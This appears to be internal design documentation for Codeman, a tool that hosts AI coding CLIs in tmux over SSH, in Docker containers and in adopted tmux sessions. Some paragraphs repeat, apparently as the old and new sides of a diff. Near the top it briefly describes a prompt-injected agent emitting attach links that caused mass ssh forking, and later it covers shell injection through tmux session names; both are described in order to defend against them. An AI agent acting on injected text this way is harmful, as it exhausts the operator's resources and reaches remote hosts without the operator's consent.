threaded into `registerExternalAttachment({remoteProbes})`), and probes chunk at 40 paths: a prompt-injected agent printing `codeman://attach` links in a remote session used to fork one `ssh` per link. `describeExecError` never returns Node's `Command failed: <ssh line>` message (identity path + probe script in a 502 body). The `PUT /file-content` guard sits AHEAD of `validateSessionFilePath`, which resolves LOCALLY, or a same-named local directory (an sshfs mount) takes the write. Under `VITEST` the three IO functions refuse rather than connect. This covers the ATTACHMENT routes too, which is the half a clicked path needs when the file is OUTSIDE the case directory (`_isExternalPreviewPath` sends it to `POST …/attachments`): registration, by-id `raw`, metadata and the history list all resolve over ssh (`registerExternalAttachment({remote})`, `resolveServableRemoteAttachment`), and what decides the host is the SESSION, never the path string: the same absolute path means a different file on each host. Deliberately NOT supported over ssh: writes (`edit=1`/`PUT` answer 400, `editable` is always false), office previews/thumbnails, the file tree/picker, `tail-file`. The Ralph file routes follow the same rules (`ralph-routes.ts`): `POST .../fix-plan/read` reads `@fix_plan.md` on the remote host through `remote-files.ts` (one probe of the file and the workspace, confined wiLine truncated
**Remote tmux PATH**: every SSH command that invokes or locates tmux uses `withRemoteTmuxPath()` (`remote-hosts.ts`) before the complete remote script is shell-escaped: link preflight, launch/attach, alive probes, discovery, history/screen capture, and cleanup. Non-interactive SSH shells can omit Homebrew and per-user binaries even when the user's interactive shell finds them. The wrapper double-quotes the exported PATH value (including inherited PATH) so homes with spaces work under dash; it leaves the existing SSH options, socket/target and inner CLI login-shell handling intact. tmux gives a new pane the PATH of the client that created it (measured on tmux 3.4), so every new remote pane, agent or shell, now starts on the widened PATH before its login shell runs. Keep new remote tmux operations on this same path. `test/remote-tmux-path.test.ts` exercises all builders under real sh/dash with a sparse PATH and a home containing spaces, using offline SSH/tmux stubs. Local and Docker tmux commands keep their own setup.
**Remote tmux PATH**: every SSH command that invokes or locates tmux uses `withRemoteTmuxPath()` (`remote-hosts.ts`) before the complete remote script is shell-escaped: link preflight, launch/attach, alive probes, discovery, history/screen capture, and cleanup. Non-interactive SSH shells can omit Homebrew and per-user binaries even when the user's interactive shell finds them. The wrapper double-quotes the exported PATH value (including inherited PATH) so homes with spaces work under dash; it leaves the existing SSH options, socket/target and inner CLI login-shell handling intact. tmux gives a new pane the PATH of the client that created it (measured on tmux 3.4), so every new remote pane, agent or shell, now starts on the widened PATH before its login shell runs. ⚠️ The bootstrap only works if it reaches the far end verbatim, so a remote launch, and an adopted ssh attach with it, goes to the local `bash -c` single-quoted (`bashCArg()` in tmux-manager.ts): in double quotes the local `sh` expanded `$HOME` and `$PATH` on this host first, and a remote user with another home found no tmux (#760, exit 127). ⚠️ Codeman's stock pane text is POSIX (`"${SHELL:-/bin/sh}"`), so it goes to `/bin/sh -c` as separate tmux arguments: tmux runs a ONE-argument command through the remote default-shell and exec's two or more directly (measured on 3.4), and fish refuses `${…}` with status 127. A `commands.*` override stays one argument, since it is the user's text for their own shell. `test/remote-pane-command-shell.test.ts` pins that split without needing fish. Keep new remote tmux operations on this same path. `test/remote-tmux-path.test.ts` exercises all builders under real sh/dash with a sparse PATH and a home containing spaces, using offline SSH/tmux stubs. Local and Docker tmux commands keep their own setup.
Further wake-on-LAN detail: the wiring guards in `test/remote-wake.test.ts` are two; the second also pins that `server.ts` holds the registry for its LIFETIME only (`drop` on cleanup, `stop` on shutdown) and never calls a waking method. The create wake is wired in the route rather than the shared session service for exactly the no-timer-wakes reason. No `ServerAliveInterval`, because keepalives move bytes into an idle connection every interval and that is what a byte-threshold idle detector must not read as activity. For a host behind `jumpHost`/`socksProxy`/a `ProxyCommand` option, the probe connects to `host:port`, which such a host does not answer even while ssh works; the registry never gates create/attach on it (`'unprobeable'`), and `/reachability` answers `reachable: null, probeable: false`. The banner keys on a PROVEN `false`, and the banner's 30 s poller runs only for a host with a wake target (a timer connecting to a host Codeman cannot wake is the same timer-driven traffic the keepalive rule forbids).
Input arriving during a wake is buffered: a chunk over 4 KB is dropped whole, never delivered as a fragment, and the route answers `{buffered:true}` / `{buffered:true, dropped:true}` so the caller can tell. It is flushed in order after `reattachRemote()` with `fromUser`; a flush write that fails drops the rest (logged) rather than retaining it for a wake hours later. Send-and-wait blocks instead and answers `OPERATION_FAILED` when the host never returns. ⚠️ In multi-user mode the attach path 403s a non-admin BEFORE the host is looked up: the wake runs an executable, and remote hosts are admin-only infra everywhere else. ⚠️ Browser keystrokes travel over the WebSocket, which deliberately does NOT pass through the registry (that is the hot path), so only the HTTP input path ever queues anything; the banner must not promise queued input for the Wake button. A request that waits on the wake (create/attach, and the button) uses the 40 s `REMOTE_WAKE_REQUEST_READY_TIMEOUT_MS`, not the 90 s session default, because the dashboard's reverse proxy cuts a request at its own 60 s `proxy_read_timeout`. The `remote:` SSE family is session-scoped in multi-user mode; a create/attach wake names its requester (`username`) since it has no session yet. `remote-wake.ts` refuses real IO under `VITEST` like `remote-files.ts`.
### Adopted foreign tmux sessions
**Adopted sessions** (#510; `src/foreign-tmux.ts` pure, `src/foreign-tmux-discovery.ts` transport, `foreign-sessions.js`, `GET /api/mux/foreign`, `POST /api/sessions/adopt`): a tmux session a human started is listed on the home screen, and one click wraps it in a tab. Like remote-SSH and Docker it is a **LOCATION OVERLAY**, never a `SessionMode`: `Session.adopt` carries the connection, the mode comes from a bounded walk of the pane's process tree, and `Session.isAdopted` asks who launched the process, a different question from `isExternalCliMode()`, which is why the two are never folded together.
**The wrapper.** Adoption creates an ordinary `codeman-<8hex>` session on Codeman's own socket whose pane runs the attach, so `killSession` can only ever reach the wrapper and no shape of caller bug reaches the foreign server. The attach joins as a grouped `codeman-view-<id>` session with `status off` and `destroy-unattached on`. ⚠️ `new-session -t` does not fail on a missing target, it invents one (measured on tmux 3.4: joined `work-prod`, or made a fresh shell, or started a server on an empty socket), so an exact `has-session -t '=<name>'` guards it. The `=` cannot stand in for that guard on `new-session -t`, where a missing target makes a group literally called `=<name>`. ⚠️ The guard only holds for a name both commands read as a name, so a name `new-session -t` reads as target syntax (`TMUX_TARGET_SYNTAX`: a leading `=`, `@` or `%`, or a bare `~`) is refused at discovery: measured on tmux 3.4, `@1` joined the session holding window `@1` and input typed in the tab reached it, and `=eq` made a new group with a fresh shell. A `command -v tmux` runs first, because the guard fires on any failure and "tmux is not on this PATH" must not read as "your session is gone". The client is `tmux -u`, or a POSIX-locale container garbles the tab, and the probe's `list-panes` is too, or a name reads as underscores the guard then cannot find. A `docker exec` outlives its client, so that view is killed explicitly on close. ⚠️ Nothing is ever set on the foreign server beyond our own view: not `window-size` (a window option on a shared window, it survives our detach) and not the prefix table (server-wide, unlike `nestedPrefixTableResetCommands` on the servers Codeman runs itself). ⚠️ While the view exists an owner's `kill-session` leaves the window alive under it until the tab closes. ⚠️ The wrapper's pane IS the owner's pane, so nothing may be typed into it on start: `startShell()`'s new-session `clear\n` submitted whatever the owner had half-typed (measured) until it was gated on `!this._adopt`, and the trust-dialog auto-accept stays off for the same reason. `shell` is also the classifier's answer for anything it cannot name, such as vim or psql.
**Names are the injection surface.** A session name is chosen by someone else and several shells parse the attach line on its way to tmux; in `bash -c "<JSON>"`, the form it first crossed, `$` and backticks were live. Names and socket paths pass an allowlist at DISCOVERY, so a bad one gets no id and the adopt route, which re-resolves through discovery, can only 404. The ssh probe and attach run in an explicit `sh` behind `withRemoteTmuxPath()`, since the guard chain is POSIX and the login shell may be fish. ⚠️ The attach line reaches `bash -c` single-quoted through `bashCArg()` at both launch sites, the path a remote or docker launch takes (#760), never a bare `JSON.stringify()`, or the ssh attach's `$HOME` and `$PATH` expand on THIS host and a tmux in the remote `~/.local/bin` is found by discovery and missed by the attach. Single quotes also keep a real newline, which JSON escaping left as the two characters `\n`. That closes the first shell only, so the discovery allowlist stays. `test/tmux-manager.test.ts` compares what bash receives with the built line at create and at respawn, for all three locations. Docker discovery spawns `dockerEngineArgv()`, never the shell-quoted `buildDockerBaseArgs()`.
**A server that stops answering.** A tmux client never returns from a stopped server, and it hands dups of its stdout to the server, so that server holds our pipe open after the client is dead (measured: SIGTERM ended the client and no EOF came). ⚠️ So a watchdog around `list-panes` cannot work, and the same hold would keep `docker exec` and `ssh` waiting. `buildForeignProbeScript()` pings each socket with `has-session` at `/dev/null` under `FOREIGN_SOCKET_TIMEOUT_SECONDS`, in the script because no signal of ours reaches a client inside a container or across ssh, and only a server that answered gets the real stdout. One that did not prints `CMFH` and costs its own rows and a note. The watchdog reports through its own exit status, since a client ended by SIGTERM exits 0. `runForeignProbe()` runs all three transports in their own process group, signals the group at the deadline, destroys its end of the pipe by hand (or one handle leaks per scan) and keeps the rows it read. ⚠️ Sockets have no count cap: in glob order `codeman*` sorts before `default`, and a box with many instances would never reach the sessions this feature is for (212 sockets measured here). The sweep is bounded by time.
**Text from someone else's process.** The parser and the classifier run synchronously on the event loop over what a pane, a container or an ssh host printed, and the row caps do not help when one row is the whole 2 MiB. ⚠️ So every step stays linear in that text: no regex tail over an argv (`launcherPrefixes()` is a scan), `.*` under the `s` flag so `$` cannot fail and hand `\s+` its spaces back, a `Set` for the socket rows, `FOREIGN_MAX_ARGV_CHARS` on what is kept, and one `createForeignSignatureMatcher()` per scan, since every pane of a hostile host can claim the same process tree and repeat the same rows.
**One wrapper per target.** `foreignTargetKey()` is the ONE key, read by the adopt route and `adoptedBy`, built from the location, the host identity, the socket and the name: a socket and a name alone collide across containers and hosts. Both read live `Session`s, since the mux record only exists after the first attach.
**No workspace.** ⚠️ An adopted session keeps its connection on `adopt.remote`/`adopt.docker`, so `session.remote` and `session.docker` are undefined, and its `workingDir` is the neutral `/tmp`. Code that branches on those two reads an in-container or over-ssh adoption as a local session working in `/tmp`. So anything that treats `workingDir` as the session's workspace must also test `session.isAdopted` (`adopt` on a pure view): uploads, the upload GC, git status, git fetch and its scheduler, the image watcher, Read My Mind's git signals, the Discord folder, `last-response`, guarded input and Ralph's `@fix_plan.md` and `@ralph_prompt.md` routes all do. The file surfaces (Files panel, File Viewer and its edit mode, `html-view`, absolute-path links) are the one standing exception (owner decision 2026-11-06): they still treat `/tmp` and this host's paths as the workspace, even on a container or ssh tab, so such a tab shows this host's files and not the far end's. It gives no privilege: `/tmp` is world-writable anyway, and adoption is admin-only in multi-user mode. Gating them for remote and Docker adoptions, while keeping a local adopted tab's absolute-path links, is the planned follow-up. A claude wrapper reports `statusLineExporter: 'remote'`, which is also what keeps keep-warm off it.
**Lifecycle.** `paneExitApplies` is false for a wrapper, so an attach that ended is never `paneExit` and the sweep never closes the tab. ⚠️ `remain-on-exit` still keeps Codeman's own tmux client on the dead pane, where a pid and `busy` hid it and both attach routes refused it, so `detachEndedAdoptedAttaches()` detaches that client on the reconnect watcher's tick: the tab closes nothing, its pid goes null, and selecting it (or "Go to tab" once a session of that name is back) runs the guard again. Boot recovery re-attaches a dead wrapper, which prints that the session is gone and exits. Reboot restore refuses one, since all Codeman ever had was an attach command. ⚠️ A wrapper that cannot start fails the start, and selecting the tab tries it again (`_failAdoptedStart()`). It never takes the direct-PTY fallback, which would run a new local `claude --dangerously-skip-permissions` or a server-account shell in `/tmp` under the foreign session's name, and `runPrompt()` refuses it for the same reason.
### Docker cases
**Docker cases** (shipped 1.4.0; user guide `docs/docker-cases.md`, design `docs/docker-cases-plan.md`): a case can point at a **container** instead of a local/remote path, and any of the CLI run modes runs INSIDE it. Like remote-SSH, it is a **LOCATION OVERLAY on cases, never a `SessionMode` of its own** (`SessionMode` is unchanged). Storage `~/.codeman/docker-hosts.json` + `docker-cases.json` via `src/docker-hosts.ts` (direct mirror of `remote-hosts.ts`: `readDockerHosts`/`readDockerCases`, `toSessionDocker`, `dockerDisplayPath`, and the PURE builders `buildDockerBaseArgs`/`buildDockerCreateArgs`/`containerApiUrl`/`hostGatewayAlias`/`dockerConfigHash`). CRUD `/api/docker-hosts` + `/api/cases/docker-link`, plus **one-click** `/api/cases/docker-quickcreate` (Create New "Run in Docker" checkbox → case folder in `CASES_DIR` + auto-provisioned shared `default` host + auto-start a session inside; an expandable Template picker Small/Medium/Large/GPU or any override creates a per-case `q-<name>` host), and export/import (`/api/docker-cases/:name/export`, `/api/docker-cases/import`, `GET/DELETE /api/docker-exports`) — all in `case-routes.ts`. Run flows route through `POST /api/quick-start` like remote (session-routes.ts docker branch, skips LOCAL CLI-availability gates). **Launch model**: exactly one long-lived container **per case** (`codeman-case-<slug>`, PID1 `sleep infinity` under `--init`); a LOCAL tmux pane runs `docker exec -it` into a **durable in-container tmux** on dedicated socket `-L codeman-docker`, session `codeman-dkr-<id8>` (deliberately fails `SAFE_MUX_NAME_PATTERN` so a Codeman running INSIDE the container never adopts it, exactly like remote's `codeman-ssh-<id8>`). Builders `buildDockerLaunchCommand`/`buildDockerKillCommand` in `tmux-manager.ts` (image-check → `docker inspect||create` → start → exec, all idempotent). The container is **shared by all sessions of the case**: `buildDockerKillCommand` kills ONLY that session's in-container tmux session, NEVER `docker stop` while siblings remain; `docker rm -f` happens only on case-delete (plus an instance-scoped boot reaper keyed on the `codeman.instance` label). **Two-layer durability/resume** (the central design point): (1) Codeman-PROCESS restart with the container still up → `tmux new-session -A` reattaches the SAME live agent (paneCommand ignored); (2) container stop/reboot/OOM → inner tmux is gone, so the re-run pane command resumes the conversation from the bind-mounted transcript: claude mode pins a DETERMINISTIC conversation id via `claudeDockerPaneCommand()` (`tmux-manager.ts`) — fresh launch `claude --session-id <sessionId> || claude --resume <sessionId>` (a duplicate `--session-id` exits 1 "already in use", so the fallback RESUMES after a container stop; verified CLI behavior), explicit resume `--resume <rid> || --session-id <sid>` so a stale id never dead-panes (leading `exec ` is stripped — an exec'd first branch could never fall back); codex `resume <id>` / gemini `--resume` keep `appendResumeFlag`. The resume id rides `resumeSessionId` through create/respawn options and persists on `DockerCase.lastClaudeSessionId` via `persistDockerCaseClaudeSessionId()` (written at quick-start launch, and again on hook/last-response conversation-id adoption so post-`/clear` switches track; seeded back when `resumeOnStart`, default true); `-A` makes the pane command self-selecting (inert on reattach, active only when tmux was re-created). **Config drift** (`dockerConfigHash` → `codeman.confighash` label): quick-start compares via `checkDockerConfigDrift()` and REFUSES a drifted launch with `CONFLICT`; the UI confirm calls `POST /api/docker-cases/:name/recreate` (refused while case sessions are live) which `docker rm -f`s so the next launch recreates with the new config — host config edits actually take effect. **Workspace** is a REAL host dir bind-mounted at the SAME absolute path (mirror, `dst==src`), so `Session.workingDir = hostWorkspacePath` keeps file-routes/attachments/watchers on real host bytes AND the in-container transcript projHash matches the host so subagent/workflow correlation (and thus resume-id capture) works; `resolveMuxAttachCwd` returns `/tmp` for docker (the local pane only runs `docker exec`). **Creds** arrive commit-safe and ISOLATED (1.4.1; replaced the whole-dir RW mounts that let in-container CLIs write refreshed tokens/state back to the host): shared RW across the boundary is ONLY what host-side reads/resume need (`~/.claude/projects` transcripts; codex `sessions/` + `history.jsonl` for response-viewer/`codex resume`); everything else is SEEDED (RO mount, copied into container HOME once at launch via `[ -e ] || cp`; the container refreshes its own copy and never writes back): `~/.claude.json` is merged through `buildSeamlessClaudeConfig()` (forces `hasCompletedOnboarding` + theme + workspace trust, so no login wizard/theme picker/trust prompt inside the container), plus `.claude/{.credentials.json,setLine truncated
@@ -205,7 +223,7 @@ History: before the tree, every pair got a U-bridge bezier hanging below the str
**Three owners, one setter.** `SessionState.nameSource` is `placeholder` | `auto` | `manual`. The constructor infers a missing value from the name (`isGeneratedSessionName()` = `w<n>-<case>` / `s<n>-<case>`, or no name at all, is a placeholder; anything else was a person's), the create routes pass none, the boot restore passes the persisted one. The `name` setter is the manual path and the ONLY thing that produces `manual` after construction; `applyAutoName()` is the only thing that produces `auto`, and it does so whether or not the string changed, which is what makes "first prompt" mean the first. A prompt whose title is null (`/clear`, `! npm test`, blank) never reaches it, so the session stays eligible: the first REAL prompt names the tab.
**The origin gate defaults to "system".** `write()` / `writeViaMux()` take `SessionWriteOptions.fromUser`; only the browser WS path, `POST /api/sessions/:id/input` and the experimental guarded stage (`stageGuardedInput()`, behind `POST /api/sessions/:id/stage`) set it. Every other caller (Ralph, respawn, cron, approvals, the orchestrator's `/compact`, auto-ops, the trust-dialog keys) is system by omission, so a new user-input path that forgets the flag fails toward a tab that keeps its placeholder, never toward a tab named after a Ralph prompt. `_lastSubmitAt` is still stamped for every write; only the tracker feed is gated. The shell gate is `getCli(mode)?.capabilities.startMode !== 'shell'`, a capability rather than an id check (the no-id-branching guard), and the send-key route feeds `trackUserInput()` by hand because its `tmux send-keys -H` newline (always a line feed for Ctrl+Enter; for Shift+Enter a line feed unless the CLI declares another `capabilities.newline` chord) never passes through the session.
**The origin gate defaults to "system".** `write()` / `writeViaMux()` take `SessionWriteOptions.fromUser`; only the browser WS path, `POST /api/sessions/:id/input`, the experimental guarded stage (`stageGuardedInput()`, behind `POST /api/sessions/:id/stage`) and a Discord reply set it. Every other caller (Ralph, respawn, cron, approvals, the orchestrator's `/compact`, auto-ops, the trust-dialog keys) is system by omission, so a new user-input path that forgets the flag fails toward a tab that keeps its placeholder, never toward a tab named after a Ralph prompt. `_lastSubmitAt` is still stamped for every write; only the tracker feed is gated. The shell gate is `getCli(mode)?.capabilities.startMode !== 'shell'`, a capability rather than an id check (the no-id-branching guard), and the send-key route feeds `trackUserInput()` by hand because its `tmux send-keys -H` newline (always a line feed for Ctrl+Enter; for Shift+Enter a line feed unless the CLI declares another `capabilities.newline` chord) never passes through the session.
**The tracker is a best-effort transcript with explicit per-key rules**, not a byte filter. Mirrored: printable text, backspace, Ctrl+W, Ctrl+U/Ctrl+C (composer emptied), `\n` and Alt+Enter (a newline IN the composer, joined with a space), bracketed paste (newlines inside it likewise). Ignored: cursor keys, Home/End/Delete, Shift+Tab, Tab, SGR mouse and focus reports, Alt chords, OSC/DCS, the rest of C0. Tainting: Up/Down (CSI and SS3), Ctrl+P/N/R, Ctrl+_, because the composer then holds a history line the tracker never saw and Enter must submit nothing rather than a fragment. A bare Esc is resolved at the END of the chunk it arrives in, since xterm hands each key's whole sequence to one write and the programmatic senders send Esc alone; a CSI split across chunks still resumes. The draft keeps its HEAD past 8192 code points (the title is the first sentence, so keeping the tail would title a long paste by its last line) and an escape sequence is abandoned past 64 bytes.
@@ -231,21 +249,23 @@ Further detail: the `<prefix>: <title>` form (`w3-myapp: fix the login redirect`
### Terminal scrollback: strip flavors and wheel/touch forwarding
**Three strip flavors, one carry** (#205, `session.ts:_handleTerminalOutput`): the FULL strip (`isAltScreenStripMode` = codex/claude/gemini) removes alt-screen toggles, `3J`, and mouse-tracking DECSETs. The MOUSE strip (`isMuxMouseStripMode` = opencode and copilot) removes alt-screen toggles AND the mouse DECSETs but KEEPS `3J` — the middle case, for a mouse-capable full-screen TUI: its tracking DECSETs reach the browser (tmux `mouse off` passes the pane's modes through to the client), xterm obeys them, and then every DRAG is reported to the TUI instead of selecting text — so mark-and-copy silently did nothing (measured 62 `none` / 18 `any` over 16s, 5/5 dead drags while `any`) and the obvious fallback, Ctrl+C, is opencode's `app_exit`. Copilot is the same shape (measured on 1.0.95: alt screen, mouse reporting on): left on the narrow strip, Auto Copy and copy-on-select did nothing and only Shift+drag selected. `3J` stays because a TUI is not a `clear` consumer. Every other mode (shell/antigravity/pi/grok/deepseek/omp) gets the NARROW strip (`isMuxAltScreenOnlyStripMode`) — alt-screen toggles ONLY — and only when tmux-backed (`useMux`). Rationale: the tmux CLIENT emits `smcup` as its first bytes at attach, before any program runs, parking xterm in the scrollback-less alternate buffer for the whole session (touch scrolling no-ops; xterm's own wheel handler converts the wheel to Up/Down arrows = readline history cycling — both #205 symptoms). tmux never forwards a pane program's alt-screen toggles to its client (it repaints instead; measured — vim/less inside a pane emit zero to the client), so the only thing the narrow strip ever removes is tmux's own smcup. It keeps `3J` (a user's `clear` is a deliberate scrollback wipe) and the mouse DECSETs (tmux passes those through even with `mouse off`; stripping them would break htop/vim mouse support — which is exactly why the mouse strip is opt-in per CLI and not part of the narrow flavour). ⚠️ The `useMux` gate is load-bearing: `startShell()`/`startInteractive()` fall back to a DIRECT PTY when mux creation fails, and there the inner program's own `?1049h` really does reach xterm — stripping it would break vim/less/htop for real. The replay path (`session-routes.ts`, via `session.usesMux`) applies the same three branches; the frontend gate (`_shouldReportMouseToCli()`) keeps no mode list at all: it reads only the published `cliMouseTracking`, which the server sets solely in a DECSET-stripping branch (full or mouse), so it can only be true for a mode whose DECSETs are stripped — the modes where the browser's hand-encoded tap (`_sendSyntheticSgrTap`) is the only way a click still reaches the CLI. Whichever modes the registry strips, the browser follows (pinned in `test/claude-scrollback-strip.test.ts`). The chunk-boundary carry (`_altScreenSeqCarry`) runs for all three flavors. Tests: `test/claude-scrollback-strip.test.ts`, `test/terminal-touch-tap.test.ts`.
**Three strip flavors, one carry** (#205, `session.ts:_handleTerminalOutput`): the FULL strip (`isAltScreenStripMode` = codex/claude/gemini) removes alt-screen toggles, `3J`, and mouse-tracking DECSETs. The MOUSE strip (`isMuxMouseStripMode` = opencode, copilot and pi) removes alt-screen toggles AND the mouse DECSETs but KEEPS `3J` — the middle case, for a mouse-capable full-screen TUI: its tracking DECSETs reach the browser (tmux `mouse off` passes the pane's modes through to the client), xterm obeys them, and then every DRAG is reported to the TUI instead of selecting text — so mark-and-copy silently did nothing (measured 62 `none` / 18 `any` over 16s, 5/5 dead drags while `any`) and the obvious fallback, Ctrl+C, is opencode's `app_exit`. Copilot is the same shape (measured on 1.0.95: alt screen, mouse reporting on): left on the narrow strip, Auto Copy and copy-on-select did nothing and only Shift+drag selected. `3J` stays because a TUI is not a `clear` consumer. Every other mode (shell/antigravity/grok/deepseek/omp) gets the NARROW strip (`isMuxAltScreenOnlyStripMode`) — alt-screen toggles ONLY — and only when tmux-backed (`useMux`). Rationale: the tmux CLIENT emits `smcup` as its first bytes at attach, before any program runs, parking xterm in the scrollback-less alternate buffer for the whole session (touch scrolling no-ops; xterm's own wheel handler converts the wheel to Up/Down arrows = readline history cycling — both #205 symptoms). tmux never forwards a pane program's alt-screen toggles to its client (it repaints instead; measured — vim/less inside a pane emit zero to the client), so the only thing the narrow strip ever removes is tmux's own smcup. It keeps `3J` (a user's `clear` is a deliberate scrollback wipe) and the mouse DECSETs (tmux passes those through even with `mouse off`; stripping them would break htop/vim mouse support — which is exactly why the mouse strip is opt-in per CLI and not part of the narrow flavour). ⚠️ The `useMux` gate is load-bearing: `startShell()`/`startInteractive()` fall back to a DIRECT PTY when mux creation fails, and there the inner program's own `?1049h` really does reach xterm — stripping it would break vim/less/htop for real. The replay path (`session-routes.ts`, via `session.usesMux`) applies the same three branches; the frontend gate (`_shouldReportMouseToCli()`) keeps no mode list at all: it reads only the published `cliMouseTracking`, which the server sets solely in a DECSET-stripping branch (full or mouse), so it can only be true for a mode whose DECSETs are stripped — the modes where the browser's hand-encoded tap (`_sendSyntheticSgrTap`) is the only way a click still reaches the CLI. Whichever modes the registry strips, the browser follows (pinned in `test/claude-scrollback-strip.test.ts`). The chunk-boundary carry (`_altScreenSeqCarry`) runs for all three flavors. Tests: `test/claude-scrollback-strip.test.ts`, `test/terminal-touch-tap.test.ts`.
⚠️ **What a mouse-DECSET strip (full or mouse) removes, it must REMEMBER.** Stripping the mouse DECSETs means xterm's `modes.mouseTrackingMode` is permanently `'none'` for those modes, so the browser hand-encodes click reports to compensate (`_sendSyntheticSgrTap`). With no state to consult it did that on EVERY click, which delivered mouse reports to programs that never asked for them: the same pane runs a plain shell whenever the CLI has exited or a `shell` was started inside a claude-mode session, and a shell prints the report as literal text (`[<0;88;20M`), garbling the next line typed. `_recordStrippedMouseMode()` therefore records each stripped sequence as it goes and publishes `cliMouseTracking` through `toState()`, and `_shouldReportMouseToCli()` requires it. ⚠️ Only the TRACKING modes count (1000/1001/1002/1003): 1005/1006 select an ENCODING and 1007 is alt-scroll, and counting those would put the stray reports straight back. ⚠️ The change broadcasts IMMEDIATELY rather than through `broadcastSessionStateDebounced`, because the flag flips when a dialog opens and the user can click that dialog inside the 500ms debounce window. Measured on a live claude 2.x: the CLI holds a tracking mode on continuously in fullscreen (so clicks keep being reported exactly as before; the default inline renderer holds none, measured on 2.1.283 even with `/model` open), while a bash prompt in the same stripped mode reports nothing. Fails toward silence: after a server restart the flag is false until the CLI re-emits, which tmux does at client attach.
**Wheel forwarding requires observed mouse tracking: Claude ≥ 2.1.187, tracked Codex or tracked Copilot** (`terminal-ui.js:_shouldForwardWheelToApp`). The original #227 measurement remains valid for **Codex 0.147.0 inline**: `alternate_on=0`, `mouse_any_flag=0`, growing tmux history, and SGR wheel reports do nothing. Claude 2.1.280 inline similarly reports `alternate_on=0`, `mouse_any_flag=0`; forwarding there swallows gestures, so it keeps local scrollback. Fullscreen Claude (`CLAUDE_CODE_NO_FLICKER=1` or `"tui": "fullscreen"`) enables mouse tracking and accepts reports. **Fresh Codex 0.163.0 fullscreen measurement (2026-10-18, isolated local tmux pane)**: `alternate_on=1`, `mouse_any_flag=1`; one `\x1b[<64;10;10M` report moves the transcript one row upward, and `\x1b[<65;10;10M` restores the original screen. This is capability evidence, not a minimum-version promise: untracked Codex (including a 0.162.0 measurement (2026-10) with `mouse_any_flag=0`) keeps local history or the hollow-pane paging fallback. Codex does not publish the Claude-only CLI version field, so its gate requires the observed flag rather than a Claude version. The registry records this as `wheelForward.mode: 'always'` (observed mouse tracking is still required); Claude remains `version-gated`. A stale/false flag after startup cannot authorize forwarding. ⚠️ A strip mode alone is not evidence that a CLI consumes SGR reports. Verify with a real `\x1b[<64;c;rM` write into a live pane before adding a mode here. Hand-encoded SGR taps remain independently gated by `_shouldReportMouseToCli()`; the older #325 no-op measurement describes untracked inline Codex and must not be generalized to newer tracked fullscreen renderers. Shift/local-history opt-outs and xterm's native mouse/alternate-screen handling remain intact.
**Wheel forwarding requires observed mouse tracking: Claude ≥ 2.1.187, tracked Codex, tracked Copilot or tracked Pi** (`terminal-ui.js:_shouldForwardWheelToApp`). The original #227 measurement remains valid for **Codex 0.147.0 inline**: `alternate_on=0`, `mouse_any_flag=0`, growing tmux history, and SGR wheel reports do nothing. Claude 2.1.280 inline similarly reports `alternate_on=0`, `mouse_any_flag=0`; forwarding there swallows gestures, so it keeps local scrollback. Fullscreen Claude (`CLAUDE_CODE_NO_FLICKER=1` or `"tui": "fullscreen"`) enables mouse tracking and accepts reports. **Fresh Codex 0.163.0 fullscreen measurement (2026-10-18, isolated local tmux pane)**: `alternate_on=1`, `mouse_any_flag=1`; one `\x1b[<64;10;10M` report moves the transcript one row upward, and `\x1b[<65;10;10M` restores the original screen. This is capability evidence, not a minimum-version promise: untracked Codex (including a 0.162.0 measurement (2026-10) with `mouse_any_flag=0`) keeps local history or the hollow-pane paging fallback. Codex does not publish the Claude-only CLI version field, so its gate requires the observed flag rather than a Claude version. The registry records this as `wheelForward.mode: 'always'` (observed mouse tracking is still required); Claude remains `version-gated`. A stale/false flag after startup cannot authorize forwarding. ⚠️ A strip mode alone is not evidence that a CLI consumes SGR reports. Verify with a real `\x1b[<64;c;rM` write into a live pane before adding a mode here. Hand-encoded SGR taps remain independently gated by `_shouldReportMouseToCli()`; the older #325 no-op measurement describes untracked inline Codex and must not be generalized to newer tracked fullscreen renderers. Shift/local-history opt-outs and xterm's native mouse/alternate-screen handling remain intact.
**Copilot also receives forwarded reports** (1.0.95 measured in tmux: alt screen, `mouse_any_flag=1`): its mouse DECSETs are stripped so a drag selects, which also stops xterm encoding the wheel for it, so `_shouldForwardWheelToApp` sends the same SGR reports by hand while `cliMouseTracking` is true; six `\x1b[<64;…M` reports moved its transcript 18 lines, a phone swipe takes the same gate, and there is NO version gate.
**Pi is the same shape, and the reason it moved to the mouse strip** (fullscreen is the default `tuiMode` since 1.0.0; 1.0.0, 1.1.0, 1.4.0 and 1.5.0 measured in tmux with default settings: `alternate_on=1`, `history_size=0`, `mouse_any_flag=1`, SGR): pi enables mouse tracking ONCE at start. Left on the narrow strip, the wheel worked only until Codeman replayed the buffer (tab switch, reload): the replay carries no DECSETs, xterm's `mouseTrackingMode` fell to `'none'` with `baseY` 0, and the wheel hit an empty local buffer until a resize made pi redraw. Measured on a fresh session: `drag` right after the first select, `none` after a tab switch and after a reload. With the mouse strip the server records the tracking (`cliMouseTracking`), which survives the replay; `_shouldForwardWheelToApp` forwards by hand while it is true. One SGR wheel report moves pi's transcript one row at a low rate, and pi's `fullscreenWheelScrollLines` default accelerates a fast spin. Under `tuiMode: regular`, the default below 1.0.0, pi is inline and emits no mouse DECSET, so the strip finds nothing and the flag stays false; a pi from 0.84.0 set to fullscreen does emit them (0.84.1 and 0.99.2 with `--tui-mode fullscreen` measured: `alternate_on=1`, `mouse_any_flag=1`, `mouse_sgr_flag=1`; default settings all 0), and the flag covers that case. ⚠️ Pi deliberately has no `transcriptPageKeys`: fullscreen pi does page on PageUp/PageDown, but pi binds those keys to its editor in regular mode too, where they page nothing and move the caret of a multi-line draft, so the hollow-buffer fallback sent the next keystroke to the wrong line (measured on 1.1.0, 1.4.0 and 1.5.0). The fallback would need a capability to tell the two modes apart, since `_localScrollbackIsHollow` takes no id. The cost: a fullscreen pi with "Wheel scrolls local history" on has no paging fallback, so the wheel does nothing there. That is an accepted exception to "A false gate on a hollow pane must not mean a DEAD gesture" below.
